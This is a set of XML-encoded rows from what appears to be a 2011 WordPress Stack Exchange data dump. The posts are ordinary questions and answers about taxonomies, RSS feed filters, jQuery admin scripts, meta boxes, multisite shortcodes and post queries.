  <row Id="18130" PostTypeId="2" ParentId="18129" CreationDate="2011-05-24T16:54:30.320" Score="8" ViewCount="" Body="&lt;p&gt;Tags are not hierarchical in WordPress, categories are. That’s the only difference.&lt;br&gt;&#xA;Sometimes people make up additional differences but I’ve never seen an argument which could stand a semantic analysis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your visitors it is not predictable where you have put your taxons. A good reason to avoid similar taxonomies and use just one.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-24T16:54:30.320" />
  <row Id="18132" PostTypeId="1" AcceptedAnswerId="18136" CreationDate="2011-05-24T17:35:45.857" Score="1" ViewCount="46" Body="&lt;p&gt;i'm hoping i'd find some help in regards to inserting ads into wordpress default rss feeds (i do not use feedburner)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;function insertAds($content) {&#xA;    $content = $content.'&amp;lt;hr /&amp;gt;&amp;lt;a href=&quot;http://www.wprecipes.com&quot;&amp;gt;Have you visited WpRecipes today?&amp;lt;/a&amp;gt;&amp;lt;hr /&amp;gt;';&#xA;    return $content;&#xA;}&#xA;add_filter('the_excerpt_rss', 'insertAds');&#xA;add_filter('the_content_rss', 'insertAds');&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.wprecipes.com/how-to-insert-ads-on-your-rss-feed&quot; rel=&quot;nofollow&quot;&gt;Source here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But i read that the_excerpt_rss and the_content_rss is kind of deprecated. Can anyone advise me on the present hooks to use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5411" LastActivityDate="2011-05-24T17:50:42.143" Title="Inserting ads into wordpress default rss feeds" Tags="&lt;rss&gt;&lt;ads&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="1" />
  <row Id="18133" PostTypeId="2" ParentId="18122" CreationDate="2011-05-24T17:41:53.137" Score="2" ViewCount="" Body="&lt;p&gt;The best way to approach this situation is via JavaScript. That way, whenever the selected value changes, you can instantly hide/show the related metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_enqueue_script()&lt;/code&gt;&lt;/a&gt; in &lt;code&gt;functions.php&lt;/code&gt; to load a custom JavaScript file in the admin area:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('admin_enqueue_scripts', 'my_admin_script');&#xA;function my_admin_script()&#xA;{&#xA;    wp_enqueue_script('my-admin', get_bloginfo('template_url').'/my-admin.js', array('jquery'));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The script itself, which requires jQuery, simply hides or shows a metabox based on the selected value in the page template dropdown list. In this example, I'm only showing the metabox for post thumbnails in case the default page template is selected:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($){&#xA;$(document).ready(function() {&#xA;&#xA;    var $page_template = $('#page_template')&#xA;        ,$metabox = $('#postimagediv'); // For example&#xA;&#xA;    $page_template.change(function() {&#xA;        if ($(this).val() == 'default') {&#xA;            $metabox.show();&#xA;        } else {&#xA;            $metabox.hide();&#xA;        }&#xA;    }).change();&#xA;&#xA;});&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, just for fun, here's a shorter, less verbose, version of the same script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(function($){&#xA;$(function() {&#xA;&#xA;    $('#page_template').change(function() {&#xA;        $('#postimagediv').toggle($(this).val() == 'default');&#xA;    }).change();&#xA;&#xA;});&#xA;})(jQuery);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4936" LastEditorUserId="4936" LastEditorDisplayName="" LastEditDate="2011-05-24T17:50:20.477" LastActivityDate="2011-05-24T17:50:20.477" CommentCount="2" />
  <row Id="18134" PostTypeId="2" ParentId="18132" CreationDate="2011-05-24T17:49:25.860" Score="1" ViewCount="" Body="&lt;p&gt;Those filters aren’t deprecated. They are used in &lt;code&gt;wp-includes/default-filters.php&lt;/code&gt; too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But you should &lt;a href=&quot;http://andrewnacin.com/2010/05/11/in-wordpress-prefix-everything/&quot; rel=&quot;nofollow&quot;&gt;prefix your function name&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="73" LastActivityDate="2011-05-24T17:49:25.860" CommentCount="1" />
  <row Id="18135" PostTypeId="2" ParentId="18129" CreationDate="2011-05-24T17:50:31.787" Score="4" ViewCount="" Body="&lt;p&gt;Aside from the technical aspects, Categories are for broad topics while Tags are for adding more detail to your posts' subject.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Lorelle has written &lt;a href=&quot;http://lorelle.wordpress.com/2005/09/09/categories-versus-tags-whats-the-difference-and-which-one/&quot; rel=&quot;nofollow&quot;&gt;the definitive guide on the difference between categories and tags&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to check out the WordPress.com guide on &lt;a href=&quot;http://en.support.wordpress.com/posts/categories-vs-tags/&quot; rel=&quot;nofollow&quot;&gt;Categories vs. Tags&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="1511" LastActivityDate="2011-05-24T17:50:31.787" CommentCount="1" />
  <row Id="18136" PostTypeId="2" ParentId="18132" CreationDate="2011-05-24T17:50:42.143" Score="2" ViewCount="" Body="&lt;p&gt;Take a look at &lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Filter_Reference/the_content_feed&quot; rel=&quot;nofollow&quot;&gt;the_content_feed&lt;/a&gt; as a replacement for the_content_rss.&lt;/p&gt;&#xA;" OwnerUserId="3837" LastActivityDate="2011-05-24T17:50:42.143" />
  <row Id="18137" PostTypeId="2" ParentId="18129" CreationDate="2011-05-24T18:37:04.753" Score="2" ViewCount="" Body="&lt;p&gt;Way back when WordPress first added tag support, I wrote &lt;a href=&quot;http://dougal.gunters.org/blog/2007/09/22/tags-and-categories-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;an article about tags and categories&lt;/a&gt;. It's really up to you and how you use them. As @toscho said, by default, Categories are able to support hierarchy, while Tags are a flat namespace. Also, you can create custom taxonomies, which can also optionally be hierarchical. And in fact, Categories and Tags in WordPress are just specific, default implementations of taxonomies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A popular example for using multiple custom taxonomies is for a realty site. You might define several different taxonomies, each of which can let you select properties by different qualities: neighborhood, price range, number of bedrooms, etc. By cross-referencing multiple taxonomies in this way, it is possible to narrow down selections fo content very nicely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyhow, the most common usage for Categories is to organize posts into broad, non-overlapping topics. Tags are used to supply additional keywords related to the content, but which might not appear in the content itself. For example, if I write a post about a game on my iPhone, I might not ever specifically mention the iPad. But I might want to add an 'iPad' tag, because the game is also available on that platform, and I want others to know that.&lt;/p&gt;&#xA;" OwnerUserId="65" LastActivityDate="2011-05-24T18:37:04.753" />
  <row Id="18138" PostTypeId="2" ParentId="18127" CreationDate="2011-05-24T18:47:09.290" Score="2" ViewCount="" Body="&lt;h3&gt;Prepare&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;You will have to use some &lt;em&gt;jQuery&lt;/em&gt; and &lt;em&gt;jQuery UI&lt;/em&gt; on your tabs. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Load it with &lt;code&gt;wp_enqueue_script&lt;/code&gt; - &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;Codex&lt;/a&gt;, &lt;a href=&quot;http://weblogtoolscollection.com/archives/2010/05/06/adding-scripts-properly-to-wordpress-part-1-wp_enqueue_script/&quot; rel=&quot;nofollow&quot;&gt;How-To&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The search&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.google.at/search?q=jQuery%20Tabs&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;rls=org.mozilla%3ade%3aofficial&amp;amp;client=firefox-a&quot; rel=&quot;nofollow&quot;&gt;In any case: Google for &quot;jQuery Tabs&quot;.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Mark up&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;The mark-up will look close to this one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- These are the tabs --&amp;gt;&#xA;&amp;lt;ul class=&quot;wpse-tabs&quot;&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#your-target-div-A&quot; title=&quot;Your target description A&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;wpse-tabs-icon smilie-icon&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            A: Some descriptive text&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li&amp;gt;&#xA;        &amp;lt;a href=&quot;#your-target-div-B&quot; title=&quot;Your target description B&quot;&amp;gt;&#xA;            &amp;lt;span class=&quot;wpse-tabs-icon stats-icon&quot;&amp;gt;&amp;lt;/span&amp;gt;&#xA;            B: Some descriptive text&#xA;        &amp;lt;/a&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&#xA;&amp;lt;!-- This is your content with wrapper --&amp;gt;&#xA;&amp;lt;div class=&quot;tab-target-wrapper&quot;&amp;gt;&#xA;    &amp;lt;div id=&quot;your-target-div-A&quot;&amp;gt;Your content A&amp;lt;/div&amp;gt;&#xA;    &amp;lt;div id=&quot;your-target-div-B&quot;&amp;gt;Your content B&amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h3&gt;The Style&lt;/h3&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;style&amp;gt;&#xA;/* Assumin you're using an image sprite as background. &#xA;In case you don't know what that is, ask google */&#xA;.wpse-tabs-icon {&#xA;    display: block;&#xA;    width: 16px;&#xA;    height: 16px;&#xA;    background: url('iconsprite.png') no-repeat;&#xA;}&#xA;.smilie-icon {&#xA;    background-position: 0px 0px;&#xA;}&#xA;.stats-icon {&#xA;    background-position: 20px 0px;&#xA;}&#xA;&amp;lt;/style&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-24T20:43:03.370" LastActivityDate="2011-05-24T20:43:03.370" CommentCount="1" />
  <row Id="18139" PostTypeId="2" ParentId="17965" CreationDate="2011-05-24T18:56:17.627" Score="1" ViewCount="" Body="&lt;p&gt;If you're in the loop, then use wp_trim_excerpt() function, which will return an extract of 55 words.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if ( have_posts() ) : while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;     // Your HTML code...&#xA;     &amp;lt;p&amp;gt;&amp;lt;?php echo wp_trim_excerpt(); ?&amp;gt;&amp;lt;/p&amp;gt;&#xA;     // Go on with more HTML (if you want to)&#xA;&amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Otherwise, if you're not in the loop then try using the excerpt field that is set from the post edit screen.&lt;/p&gt;&#xA;" OwnerUserId="5643" LastActivityDate="2011-05-24T18:56:17.627" />
  <row Id="18140" PostTypeId="1" CreationDate="2011-05-24T19:10:08.927" Score="0" ViewCount="120" Body="&lt;p&gt;I created a blog network, using the WordPress multisite.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using a theme that uses the shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exploiting these shortcode, I would draw on the main blog, latest articles of any blog network, but I will not get RSS, but the use of the theme shortcode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is an example that uses the theme shortcode:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[blog category=”3” images=”true” image_width=”150” image_height=”150” post_content=”excerpt” excerpt_length=”50” show_date=”true” author_link=”true” comments_link=”true” show_category_list=”false” show_tag_list=”false” posts_per_page=”10” paging=”true”]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, I wish first of the category, there was a shortcode, which refers to the ID of the blog network; example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[blog id=&quot;2&quot; blog category=&quot;3&quot; images=&quot;true&quot;..................]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks a lot&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="5642" LastEditorDisplayName="" LastEditDate="2011-05-27T00:45:29.010" LastActivityDate="2011-05-27T00:45:29.010" Title="How pass the “blog_id” parameter through the shortcode?" Tags="&lt;multisite&gt;&lt;shortcode&gt;&lt;blog-id&gt;" CommentCount="7" />
  <row Id="18141" PostTypeId="1" CreationDate="2011-05-24T19:17:34.393" Score="0" ViewCount="231" Body="&lt;p&gt;Does anyone know of a way to create a sitemap by using wp_list_pages and have the order by the same orders a custom nav menu?&lt;/p&gt;&#xA;" OwnerUserId="2774" LastActivityDate="2011-08-24T10:34:11.433" Title="wp_list_pages sort order by custom nav menu order" Tags="&lt;custom-menus&gt;&lt;pages&gt;&lt;sitemap&gt;" AnswerCount="2" />
  <row Id="18142" PostTypeId="1" AcceptedAnswerId="18152" CreationDate="2011-05-24T19:23:26.100" Score="0" ViewCount="109" Body="&lt;p&gt;i found a code searching through stackexchange --&gt; to create a &quot;list&quot; inside a meta box of a custom type, BUT, i don't see anything appearing in this meta box, except the input field (which comes from the example page from the CODEX : &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt;), is it a problem with WP_QUERY inside a function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you please tell me what is the magic trick to fix this? in my callback function, i added this code :  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_inner_custom_box() {&#xA;  // Use nonce for verification&#xA;  wp_nonce_field( plugin_basename( __FILE__ ), 'myplugin_noncename' );&#xA;&#xA;  // The actual fields for data entry&#xA;  echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;  _e(&quot;Description for this field&quot;, 'myplugin_textdomain' );&#xA;  echo '&amp;lt;/label&amp;gt; ';&#xA;  echo '&amp;lt;input type=&quot;text&quot; id=&quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot;/&amp;gt;';&#xA;&#xA;&#xA; $s_query = new WP_Query( array(&#xA; 'suppress_filters' =&amp;gt; false,&#xA; 'post_type' =&amp;gt; 'movies'));&#xA;while($s_query-&amp;gt;have_posts()):$s_query-&amp;gt;the_post();&#xA;&#xA;    $sname = $post-&amp;gt;post_title;&#xA;    $s_output2 ='';&#xA;    $s_output2 .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot; &amp;gt;';&#xA;    $s_output2 .= $post-&amp;gt;post_title;&#xA;    $s_output2 .= '&amp;lt;/option&amp;gt;';&#xA;    echo $s_output2;&#xA;&#xA;endwhile ;&#xA;wp_reset_query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But as i said, the &quot;list&quot; doesn't appear. Could you please help me?&lt;/p&gt;&#xA;" OwnerUserId="5644" LastActivityDate="2011-05-24T21:51:17.347" Title="add a &quot;list&quot; into add meta box : problem" Tags="&lt;custom-post-types&gt;&lt;list&gt;&lt;add-meta-box&gt;" AnswerCount="1" />
  <row Id="18143" PostTypeId="1" CreationDate="2011-05-24T20:07:24.173" Score="1" ViewCount="190" Body="&lt;p&gt;I would like to modify a WP Gallery to use the &lt;a href=&quot;http://www.google.com/url?sa=t&amp;amp;source=web&amp;amp;cd=1&amp;amp;ved=0CBYQFjAA&amp;amp;url=http://jquery.malsup.com/cycle/&amp;amp;rct=j&amp;amp;q=malsup%20cycle&amp;amp;ei=aQ_cTdfnHMHf0QGthMnYDw&amp;amp;usg=AFQjCNElcAZOhI0MDVLXmeYYlMuNEKaeMw&amp;amp;sig2=VIao4w9p6c8qPEDBWigMmg&amp;amp;cad=rja&quot; rel=&quot;nofollow&quot;&gt;jquery cycle plugin by malsup&lt;/a&gt;.  I know this is possible but would like to know best practice for this, if anything just pulling out the url for each image should give me enough to work with.  Please advise on best practice for this. Note I do not want to use a plugin and would like to build this site on WP Core.&lt;/p&gt;&#xA;" OwnerUserId="874" LastActivityDate="2011-05-24T20:22:48.663" Title="using jQuery Cycle by Malsup with WordPress Page and Gallery" Tags="&lt;3.0&gt;&lt;theme-development&gt;&lt;page&gt;&lt;gallery&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="18144" PostTypeId="1" CreationDate="2011-05-24T20:16:20.527" Score="2" ViewCount="54" Body="&lt;p&gt;&lt;strong&gt;There is no good documentation in the plugin official site&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am trying to making a web shop in WordPress with wp-ecommerce pluign. But i don't find any good documentation in the web. Even the official site for the plugin is not helping.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you know any site or good tutorial about the wp-ecommerce plugin? I will really appreciate if you can share your personal experience with me.&lt;/p&gt;&#xA;" OwnerUserId="3094" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-05-24T22:07:38.260" LastActivityDate="2011-08-23T15:11:01.293" Title="Is there any site where i can found good documentation of wp-ecommerce plugin?" Tags="&lt;plugins&gt;&lt;plugin-wp-e-commerce&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="18145" PostTypeId="2" ParentId="18143" CreationDate="2011-05-24T20:22:48.663" Score="2" ViewCount="" Body="&lt;p&gt;What your asking for has the basic functionality of a plugin, so saying you don't want to use a plugin doesn't make much sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you do for some reason want to write your own , using any jquery or JavaScript is relatively straightforward, you enqueue the script where you want it, then wrap whatever data your using in the javascript tags ( usually a div class or id ). This is a very basic example.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/wp_enqueue_script&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; wp_register_script( 'jquery_cycle_name','http://path-to-your-cycle.js');&#xA; wp_enqueue_script( 'jquery_cycle_name' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The javascript:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('#featured-works').cycle('fade');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Your template or whatever you wrap your info in, typically you want this in a loop to go through several images/posts or content.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;featured-work&quot;&amp;gt; images, etc, go here&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-05-24T20:22:48.663" CommentCount="2" />
  <row Id="18146" PostTypeId="2" ParentId="18129" CreationDate="2011-05-24T20:42:52.880" Score="1" ViewCount="" Body="&lt;p&gt;As is stated in most of the answers here: Categories have a hierarchical structure while Tags do not. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would add to the above that it helps to only have &lt;strong&gt;one&lt;/strong&gt; category assigned to a post, &lt;strong&gt;but as many tags as you want&lt;/strong&gt;. This helps me keep organised.&lt;/p&gt;&#xA;" OwnerUserId="4675" LastActivityDate="2011-05-24T20:42:52.880" />
  <row Id="18147" PostTypeId="2" ParentId="13749" CreationDate="2011-05-24T20:53:01.467" Score="0" ViewCount="" Body="&lt;p&gt;Take a read through and/or download the files in my &lt;a href=&quot;http://unrelatedmedia.ca/tutorial/wordpress-adding-custom-buttons-to-tinymce/&quot; rel=&quot;nofollow&quot;&gt;tutorial on this&lt;/a&gt;.  The reason I suggest this is because I put it all in to a class so you don't actually need to write the code over and over again for each button!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, the class does basically write the code for you each time you instantiate it on the WordPress side of things, but you will still need to write the javascript functionalities for each button.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The creation of a button is the same process no matter how many you need.  The function of each button is going to be unique, which is why you need a unique javascript call for each button.&lt;/p&gt;&#xA;" OwnerUserId="5646" LastActivityDate="2011-05-24T20:53:01.467" />
  <row Id="18148" PostTypeId="1" CreationDate="2011-05-24T20:56:16.593" Score="0" ViewCount="149" Body="&lt;p&gt;Maybe someone can quickly add a few thoughts on a query I am performing to get the postmeta from a sub-site blog on my WP Network and update these same postmeta fields on the parent entry in my main blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The process is already enabled by the wpmu sitewide tags plugin, I'm just adding some additional entries to the update.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I'd like to do is get the post meta from the sub-site post into an array, then update a second array before it is written to the parent blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routine I have is as follows, which is within the larger plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// get postmeta&#xA;    $post_blog_id = $wpdb-&amp;gt;blogid;&#xA;    switch_to_blog( $post_blog_id );&#xA;&#xA;    $post_blog_table = 'wp_' . $post_blog_id . '_postmeta';&#xA;&#xA;    $sql = array();&#xA;    $sql = &quot;SELECT * FROM $post_blog_table WHERE post_id = $GLOBALS['post']-&amp;gt;ID ORDER BY meta_id ASC&quot;; // ATT.: uses $post from global space&#xA;&#xA;    $custom_fields = array();&#xA;    $custom_fields = $wpdb-&amp;gt;get_results($sql);&#xA;&#xA;    $custom_field_array = array();&#xA;    global $field; // ATT.: not used...&#xA;    foreach( $custom_fields as $field ) &#xA;    {&#xA;        $global_meta[ $field-&amp;gt;meta_key ] = $custom_field_array[ $field-&amp;gt;meta_key ]; // ATT.: removed ´&quot;´&#xA;&#xA;    }&#xA;&#xA;    restore_current_blog();&#xA;// END get postmeta&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In the test instance that I'm running, there are 5 entries created on the sub-site post and when I run the query &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;SELECT 'meta_key', 'meta_value' FROM $post_blog_table WHERE 'post_id' = $post-&amp;gt;ID&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in a native SQL window in phpmyadmin it returns 5 entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the query is run within the above routine, it only returns the first 2 entries. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5529" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-05-25T10:25:30.450" LastActivityDate="2011-05-25T10:25:30.450" Title="Retrieve all postmeta for a post, build array, then use to update another blog " Tags="&lt;multisite&gt;&lt;post-meta&gt;&lt;custom-sql&gt;" CommentCount="8" />
  <row Id="18149" PostTypeId="2" ParentId="12370" CreationDate="2011-05-24T21:00:46.900" Score="1" ViewCount="" Body="&lt;p&gt;The best way to do this is by adding 'user_can_richedit' filter, like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter( 'user_can_richedit', 'patrick_user_can_richedit');&#xA;&#xA;function patrick_user_can_richedit($c) {&#xA;    global $post_type;&#xA;&#xA;    if ('page' == $post_type)&#xA;        return false;&#xA;    return $c;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope it's useful ;)&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2011-05-24T21:00:46.900" CommentCount="1" />
  <row Id="18150" PostTypeId="1" CreationDate="2011-05-24T21:06:07.690" Score="0" ViewCount="95" Body="&lt;p&gt;I am using Simple ModalLogin Plugin which opens the login screen inside an ajax modal box.  I would like it to also pop up on certain pages which require a login.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code, but its not doing anything...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; if (is_user_logged_in() ) {&#xA; &amp;lt;!-- display page --&amp;gt;&#xA; }&#xA;  else { ?&amp;gt;&#xA;  &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;     jQuery(document).ready(function() {&#xA;     jQuery('.simplemodal-login').trigger('click.simplemodal-login');&#xA;    });&#xA; &amp;lt;/script&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5416" LastEditorUserId="5416" LastEditorDisplayName="" LastEditDate="2011-05-25T01:12:55.150" LastActivityDate="2011-08-23T01:33:34.603" Title="Activating Modal Login Box for certain pages" Tags="&lt;login&gt;&lt;ajax&gt;" AnswerCount="1" />
  <row Id="18151" PostTypeId="1" CreationDate="2011-05-24T21:10:17.277" Score="2" ViewCount="276" Body="&lt;p&gt;I have the following structure:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;/projects&lt;/code&gt; (archive of cpt &lt;code&gt;projects&lt;/code&gt; with template &lt;code&gt;archive-projects.php&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/projects/project-1&lt;/code&gt; (single view of cpt with template &lt;code&gt;single-projects.php&lt;/code&gt;)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;/projects/downloads&lt;/code&gt; (this is a page)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I try to open &lt;code&gt;/projects/downloads&lt;/code&gt; I get an 404 error.&#xA;Is there a way to set a page in the custom post type hierarchy?&lt;/p&gt;&#xA;" OwnerUserId="5647" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-05-26T16:05:46.590" LastActivityDate="2011-08-24T17:34:16.683" Title="Page as child in custom post type slug?" Tags="&lt;custom-post-types&gt;&lt;page&gt;" AnswerCount="2" />
  <row Id="18152" PostTypeId="2" ParentId="18142" CreationDate="2011-05-24T21:51:17.347" Score="0" ViewCount="" Body="&lt;p&gt;You are missing the declaration of the &lt;a href=&quot;http://www.w3schools.com/tags/tag_select.asp&quot; rel=&quot;nofollow&quot;&gt;HTML select tag&lt;/a&gt; which options are his children so just add something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myplugin_inner_custom_box() {&#xA;    // Use nonce for verification&#xA;    wp_nonce_field( plugin_basename( __FILE__ ), 'myplugin_noncename' );&#xA;&#xA;    // The actual fields for data entry&#xA;    echo '&amp;lt;label for=&quot;myplugin_new_field&quot;&amp;gt;';&#xA;    _e(&quot;Description for this field&quot;, 'myplugin_textdomain' );&#xA;    echo '&amp;lt;/label&amp;gt; ';&#xA;    echo '&amp;lt;input type=&quot;text&quot; id=&quot;myplugin_new_field&quot; name=&quot;myplugin_new_field&quot;/&amp;gt;';&#xA;&#xA;    //the actual select tag&#xA;    echo '&amp;lt;label for=&quot;my_list_field&quot;&amp;gt;';&#xA;    _e(&quot;Description for this field&quot;, 'myplugin_textdomain' );&#xA;    echo '&amp;lt;/label&amp;gt; ';&#xA;    echo '&amp;lt;select name=&quot;my_list_field&quot; id=&quot;my_list_field&quot;&amp;gt;';&#xA;    $s_query = new WP_Query( array(&#xA;    'suppress_filters' =&amp;gt; false,&#xA;    'post_type' =&amp;gt; 'movies'));&#xA;    while($s_query-&amp;gt;have_posts()):$s_query-&amp;gt;the_post();&#xA;&#xA;        $sname = $post-&amp;gt;post_title;&#xA;        $s_output2 ='';&#xA;        $s_output2 .= '&amp;lt;option value=&quot;'.$post-&amp;gt;ID.'&quot; &amp;gt;';&#xA;        $s_output2 .= $post-&amp;gt;post_title;&#xA;        $s_output2 .= '&amp;lt;/option&amp;gt;';&#xA;        echo $s_output2;&#xA;&#xA;    endwhile ;&#xA;    echo '&amp;lt;/select&amp;gt;';&#xA;    wp_reset_query();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-05-24T21:51:17.347" CommentCount="9" />
